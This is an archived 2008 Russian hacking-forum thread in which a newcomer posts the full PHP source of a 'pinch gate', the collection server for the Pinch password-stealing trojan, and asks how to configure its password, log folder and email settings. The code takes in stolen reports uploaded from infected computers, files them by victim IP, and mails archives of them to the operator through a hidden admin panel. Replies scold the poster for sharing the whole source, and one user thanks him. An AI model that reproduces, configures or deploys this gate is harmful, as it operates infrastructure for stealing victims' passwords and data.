Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

настройка gate.php

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> настройка gate.php
Имя
Сообщение << Старые топики   Новые топики >>
настройка gate.php - 2008-01-26 19:45:48.930000   
apanasina

Сообщений: 24
Оценки: 0
Присоединился: 2008-01-03 06:10:46.453333
ПАРНИ неругайтесь,некричите помошь надоа я думаю с этой проблемай все нубы сталкиваютсья(((



<?
Error_Reporting(E_ALL & ~E_NOTICE);
##########################################################
# автор genom–
# специально для antichat.ru – 2007 год.
# используйте на здоровье при копировании и посте на др бордах указывайте имя автора
# всем здоровья удачи веселья —- xeк повсюду =)
# No SPLoA No World..
# Приветы:
# +toxa+, tclover , slider , k1b0rg, podkashey, A110ut, Elekt, FQziT, Dronga, n-e-r-d , KEZ, nc.Striem ,
#
# coded by Member of SPLoA group
# http://genom.h10.ru

########################### КОНФИГ ###########################
$pass='genom'; # ТУТ ВВЕСТИ ПАРОЛЬ ЧЕГО АКАУНТА ИЛИ ИЛИЧЕГО?
$dirname = "logs"; # А ТУТ ВВЕСТИ ЧТО ИМЕННО?
$autosend=1; # И тут?
$mail='А ТУТ ПРОСТО МЫЛО?'; # мыло на которое гейт будет слать пароли
$autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл
############################################################


if($_GET['stat']){
echo '<html><b><body text="darkgreen" bgcolor="#000000" link="#green" alink="#green" vlink="#green"><br><br><center> <font color="#green">——————————–<br>Фак нас нашли.<br>——————————–<br><br></font>
<form enctype="multipart/form-data" action="" method="get">Пароль?<br><input name="pass" type="text"><br>
<input type="submit" value="[Connect…]"></center></form>';
}
elseif($_GET['pass']===$pass){
$b=$_GET['pass'];
setcookie("pass", "$b", time()+10000);
########################
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
elseif($_COOKIE["pass"]===$pass){

######### функция удаления файла
if($_POST["del"]){
unlink($dirname.'/'.$_POST["del"]);
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
######### функция отправки
if($_POST["send"]){
$ff=$_POST["send"];
$msg=file_get_contents("$dirname/$ff");
$msg=base64_encode($msg);
$headers = "Content-Type: application/octet-stream; name=\"".$ff."\"\n";
$headers.= "Content-Transfer-Encoding: base64\n";
$headers.= "Content-Disposition: attachment; filename=\"".$ff."\"\n";
mail($mail,'Bygagagggggggaaaaaaa', $msg, $headers);
unlink("$dirname/$ff");
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
#########открываем папку для чтения из нее имен отчетов
$num=0;
$fail=array();$size=array();
$otch=opendir("$dirname");
while($file = readdir($otch)){ if(strpos($file, '.bin')){$num++;
array_push ($fail,$file);
array_push ($size,filesize("$dirname/$file"));
}}
######### скачка по количеству
if($_POST["number"]){
$ret=$_POST["number"];
echo $ret;
mkdir('temp');
for($i=0;$i<$ret;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]");unlink("$dirname/$fail[$i]");}
system('tar -cvf down.tar.gz temp');system('rm -rf temp');
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
########## отправка по дате
if($_POST["datebysend"]){
$datta=$_POST["datebysend"];
$datemail=$_POST["datemail"];
mkdir('temp');
for($i=0;$i<=$num-1;$i++){
list($trrr,$date,$rrrt)= split("_", $fail[$i]);
if($datta==$date){
copy("$dirname/$fail[$i]","temp/$fail[$i]");
if(!$_POST["danet"]){unlink("$dirname/$fail[$i]");}
}}
system('tar -cvf reports.tar.gz temp');system('rm -rf temp');
$mes=file_get_contents("reports.tar.gz");
$mes=base64_encode($mes);
$header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n";
$header.= "Content-Transfer-Encoding: base64\n";
$header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n";
mail($datemail,'Bygagagggggggaaaaaaa', $mes, $header);
unlink("reports.tar.gz");
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
########## очистка
if($_POST["sizedel"]){
$sssize=$_POST["sizedel"];
$ay=$_POST["bome"];
if ($ay==='1'){
for($i=0;$i<$num;$i++){
if(number_format(filesize("$dirname/$fail[$i]")/1024,2)<=$sssize){unlink("$dirname/$fail[$i]");}}}
elseif($ay==='0'){
for($i=0;$i<$num;$i++){
if(number_format(filesize("$dirname/$fail[$i]")/1024,2)>$sssize){unlink("$dirname/$fail[$i]");}}}
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";}
if($_POST["datedel"]){
$dddate=$_POST["datedel"];
for($i=0;$i<$num;$i++){
list($temp1,$ddate,$temp2)= split("_","$dirname/$fail[$i]");
if($ddate==$dddate){unlink("$dirname/$fail[$i]");} };
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";}
if($_POST["ipdel"]){
$ipp=$_POST["ipdel"];
for($i=0;$i<$num;$i++){
list($temp1,$temp2,$ippp)= split("_","$dirname/$fail[$i]");
if($ippp=="$ipp.bin"){unlink("$dirname/$fail[$i]");} };
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";}
if($_POST["xxxdel"]){
$xxx=$_POST["xxxdel"];
for($i=0;$i<$xxx;$i++){
unlink("$dirname/$fail[$i]");} ;
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";}
######### функция отправки по размеру
if($_POST["skoka"]){
$sk=$_POST["skoka"];
$ky=$_POST["kyda"];
$symsize=0;
mkdir('temp');
for($i=0;$i<$num;$i++){
if($symsize<$sk){
copy("$dirname/$fail[$i]","temp/$fail[$i]");
$symsize+= filesize("$dirname/$fail[$i]")/1024;
if(!$_POST["nax"]){unlink("$dirname/$fail[$i]");}}
}
system('tar -cvf reports.tar.gz temp');system('rm -rf temp');
$mes=file_get_contents("reports.tar.gz");
$mes=base64_encode($mes);
$header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n";
$header.= "Content-Transfer-Encoding: base64\n";
$header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n";
mail($m,'Bygagagggggggaaaaaaa', $mes, $header);
unlink("reports.tar.gz");
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
######### функция отправки пачками
if($_POST["numsend"]){
$m=$_POST["numsend"];
$k=$_POST["koll"];
mkdir('temp');
for($i=0;$i<=$k-1;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]");
if(!$_POST["what"]){unlink("$dirname/$fail[$i]");}
}
system('tar -cvf reports.tar.gz temp');system('rm -rf temp');
$mes=file_get_contents("reports.tar.gz");
$mes=base64_encode($mes);
$header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n";
$header.= "Content-Transfer-Encoding: base64\n";
$header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n";
mail($m,'Bygagagggggggaaaaaaa', $mes, $header);
unlink("reports.tar.gz");
echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";
}
######################## начало основного вывода
echo "<html><b><body text='#99ff33' bgcolor='#000000' link='#green' alink='#green'><font color='#green'><center>[genom– pinch gate v2.0]<br></center></font><br><br><center>Конфиг:
<table style='font-size:10pt; font-family:tahoma' cellspacing=0 border='3'><tr><td><center>Папка с отчетами:</center></td><td><center>В ней отчетов:</center></td><td><center>Автоочистка отчетов с одного ip<br>(0-выкл,1-вкл):</center></td><td><center>Автоотсылка на mail(0 отключена):</center></td><td><center>Мыло для отсылки:</center></td><td><center>Размер папки с отчетами:</center></td></tr>";
#######################
echo '<tr><td>/',$dirname,'</td><td>',$num,'</td><td>',$autoclean,'</td><td>',$autosend,'</td></td><td>',$mail,'</td><td>',number_format(array_sum($size)/1024,2),' Kb</td></tr></table><br><br>';
####################### таба с сегодня вчера позавчера
$today=0;$vche=0;$poza=0;
$dd=localtime();
$dd[5]+=1900;$dd[4]++;
######
$tmp=$dd[3]-1;$tmp2=$dd[4];$tmp3=$dd[5];
if($dd[3]==2){$tmp=1;$tmp2=$dd[4];$tmp3=$dd[5];}
if($dd[3]==1){
if($dd[4]==2 or $dd[4]==4 or $dd[4]==6 or $dd[4]==8 or $dd[4]==9 or $dd[4]==11){$tmp=31;$tmp2=$dd[4]-1;$tmp3=$dd[5];}
elseif($dd[4]==3 and $dd[5] % 4 >0){$tmp=28;$tmp2=$dd[4]-1;$tmp3=$dd[5];}
elseif($dd[4]==3 and $dd[5] % 4 ==0){$tmp=29;$tmp2=$dd[4]-1;$tmp3=$dd[5];}
else{$tmp=30;$tmp2=$dd[4]-1;$tmp3=$dd[5];}
}
if($dd[3]==1 and $dd[4]==1){$tmp=31;$tmp2=12;$tmp3=$dd[5]-1;}
###
$tmp4=$tmp-1;$tmp5=$tmp2;$tmp6=$tmp3;
if($tmp==1){
if($tmp2==2 or $tmp2==4 or $tmp2==6 or $tmp2==8 or $tmp2==9 or $tmp2==11){$tmp4=31;$tmp5=$tmp2-1;$tmp6=$tmp3;}
elseif($tmp2==3 and $tmp3 % 4 >0){$tmp4=28;$tmp5=$tmp2-1;$tmp6=$tmp3;}
elseif($tmp2==3 and $tmp3 % 4 ==0){$tmp4=29;$tmp5=$tmp2-1;$tmp6=$tmp3;}
else{$tmp4=30;$tmp5=$tmp2-1;$tmp6=$tmp3;}
}
if($tmp==1 and $tmp2==1){$tmp4=31;$tmp5=12;$tmp6=$tmp3-1;}
#######
for($i=0;$i<$num;$i++){
list($time,$date,$adr)= split("_", $fail[$i]);
if($date=="$dd[3]-$dd[4]-$dd[5]"){$today++;};
if($date=="$tmp-$tmp2-$tmp3"){$vche++;};
if($date=="$tmp4-$tmp5-$tmp6"){$poza++;};
}
echo "<table style='font-size:10pt; font-family:tahoma' cellspacing=0 border='3'><tr><td><center>Сегодняшних($dd[3]-$dd[4]-$dd[5]):</center></td><td><center>Вчерашних($tmp-$tmp2-$tmp3): </center> </td><td><center>Позавчерашних($tmp4-$tmp5-$tmp6):</center></td></tr><tr><td><center>$today</center></td><td><center>$vche</center></td><td><center>$poza</center></td></tr></table><br>";
################### начало большой рамки
echo'<table cellspacing=0 border="2" style="font-size:10pt; font-family:tahoma"><tr><td width="340" valign="top"><center>';
################### скачка и отсылка всех отчетов
echo '<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2">';
if(file_exists("down.tar.gz")){echo '<tr><td>Обнаружен файл для скачки <b><a href="down.tar.gz">down.tar.gz</a></b></td><td width="50"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value="../down.tar.gz"><input type="submit" value="[Удалить]"></center></form></td><tr>';}
echo'<tr><td><form enctype="multipart/form-data" action="" method="post"><input name="koll" type="hidden" value="',$num,'"><input name="numsend" type="text" value="',$mail,'" size=15><input type="submit" value="[Отправить все]"><br><input type="checkbox" name="what">Не удалять отчеты при отправке</form></td><td width="50" valign="top"><center><form enctype="multipart/form-data" action="" method="post"><input name="number" type="hidden" value="',$num,'"><input type="submit" value="[Скачать все]"></form></td></tr></table><br>';
###################
echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td>Количество отчетов</td><td>Мыло для отправки</td></tr><tr><td colspan="2"><form enctype="multipart/form-data" action="" method="post"><input name="koll" type="text" value="100"> <input name="numsend" type="text" value="',$mail,'"><br><input type="checkbox" name="what">Не удалять отчеты при отправке<br><center><input type="submit" value="[Отправить]"></center></form></td></tr></table><br>';
###################
echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td width="160">Размер для отправки</td><td width="140">Мыло для отправки</td></tr><tr><td colspan="2"><form enctype="multipart/form-data" action="" method="post"><input name="skoka" type="text" value="100"> Kb <input name="kyda" type="text" value="',$mail,'"><br><input type="checkbox" name="nax">Не удалять отчеты при отправке<br><center><input type="submit" value="[Отправить]"></center></form></td></tr></table><br>';
###################
echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td colspan="2"><center>Получить линк для скачки:</center></td></tr>';
if(file_exists("down.tar.gz")){echo '<tr><td>Обнаружен файл для скачки <b><a href="down.tar.gz">down.tar.gz</a></b></td><td width="50"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value="../down.tar.gz"><input type="submit" value="[Удалить]"></center></form></td><tr>';}
echo '<tr><td><form enctype="multipart/form-data" action="" method="post">Скачать <input name="number" type="text" value="10"> отчетов.<center><td width="75"><input type="submit" value="[Скачать]"></td></center></form></td></tr></table><br>';
################### отправка по дате
echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td><form enctype="multipart/form-data" action="" method="post"><center>Где дата <input name="datebysend" type="text" value="5-5-2007"></center></td><tr><td><input name="datemail" type="text" value="',$mail,'" size=18><input type="submit" value="[Отправить]"><br><input type="checkbox" name="danet">Не удалять отчеты при отправке</form></td></tr></table><br>';
################### очистка по фильтрам
echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td colspan="2"><center>Очистка:</center></td></tr><tr><td><form enctype="multipart/form-data" action="" method="post">Удалить первые: <input name="xxxdel" type="text" value="10" size=5> отчетов.</td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr><tr><td ><form enctype="multipart/form-data" action="" method="post">Размер <input type="radio" name="bome" value="1" checked="checked"><strong>меньше</strong><input type="radio" name="bome" value="0"><strong>больше</strong><input name="sizedel" type="text" value="4" size=5>Kb </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr>
<tr><td><form enctype="multipart/form-data" action="" method="post">C датой: <input name="datedel" type="text" value="5-5-2007"> </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr>
<tr><td><form enctype="multipart/form-data" action="" method="post">Где ip: <input name="ipdel" type="text" value="127.0.0.1" > </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr>
</table><br><center/></td><td width="380" valign="top">';
####################### выводим таблицу с отчетами
echo "<table cellspacing=0 border='2' style='font-size:8pt; font-family:tahoma'><tr><td>№</td><td><center>Отчет:</center></td><td>Размер:</td><td colspan='2'><center>Действия:</center></td></tr>";
for($i=0;$i<$num;$i++){
echo'<tr><td>',$i,'</td><td><A HREF="',$dirname,'/',$fail[$i],'">',$fail[$i],'</A></td><td><b>';
###################### ставим цвет лога
if($size[$i]/1024<=8){echo '<font color="#00ff33">';}
elseif($size[$i]/1024<=15){echo '<font color="#ff33ff">';}
else{echo '<font color="#ff0000">';};
echo number_format(filesize("$dirname/$fail[$i]")/1024,2),' Kb</font></b></td><td width="35"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value=',$fail[$i],'><input type="submit" value="Del" ></td><td width="50"></form><form enctype="multipart/form-data" action="" method="post"><input name="send" type="hidden" value=',$fail[$i],'><input type="submit" value="Send"></form></td></tr>';}
echo'</table></td></tr></table><br><br>[genom– специально для челов с antichat.ru 2007.]';
######################## конец основного вывода
}
else{

# проверка на пустоту отчета или если ктонибудь попытается открыть гейт в браузере
if (strlen($_POST['c'])===0){echo 'Страница находится в стадии разработки…';exit;}
$ip=getenv("REMOTE_ADDR");
$msg=str_replace(" ", "+", $_POST['c']);

@mkdir($dirname);
@chdir($dirname);

$a=localtime();$a[5]+=1900;$a[4]++;
$filename ="$a[2]-$a[1]-$a[0]_$a[3]-$a[4]-$a[5]_$ip.bin";

$fp=fopen($filename, 'w');
fwrite($fp, base64_decode($msg));
fclose($fp);
@chdir('../');
}


$num=0;
$fail=array();
$otch=opendir($dirname);
while($file = readdir($otch)){ if(strpos($file, '.bin')){$num++;
array_push ($fail,$file);
}}
#### проверяем на автоотправку
if(($num===$autosend or $num>$autosend) and $autosend<>0){
mkdir('temp');
for($i=0;$i<$autosend;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]");unlink("$dirname/$fail[$i]");}
system('tar -cvf reports.tar.gz temp');system('rm -rf temp');
$mes=file_get_contents("reports.tar.gz");
$mes=base64_encode($mes);
$header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n";
$header.= "Content-Transfer-Encoding: base64\n";
$header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n";
mail($mail,'Bygagagggggggaaaaaaa', $mes, $header);
unlink("reports.tar.gz");
};

if($autoclean===1){
for($ii=0;$ii<$num;$ii++){
list($tm1,$tm2,$ip1)= split("_", $fail[$ii]);
if("$ip.bin"==$ip1 && $fail[$ii]<>$filename){
if(filesize("$dirname/$filename")>=filesize("$dirname/$fail[$ii]")){unlink("$dirname/$fail[$ii]");exit;}
else{unlink("$dirname/$filename");exit;}
}
}
};
?>
Post #: 1
RE: настройка gate.php - 2008-01-26 20:58:47.423333   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
http://forum.xaknet.ru/showthread.php?t=147 чти!

зачем вылаживать весь сорц гейта?ппц
Post #: 2
RE: настройка gate.php - 2008-01-26 21:11:30.760000   
VirtualT

Сообщений: 56
Оценки: 0
Присоединился: 2007-12-04 14:52:48.020000
Блин, люди, спасибо большое
как раз скачал пинча для научных опытов, и тут этот топ[sm=ab.gif]
Post #: 3
Страниц:  [1]
Все форумы >> [Программы для взлома] >> настройка gate.php







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.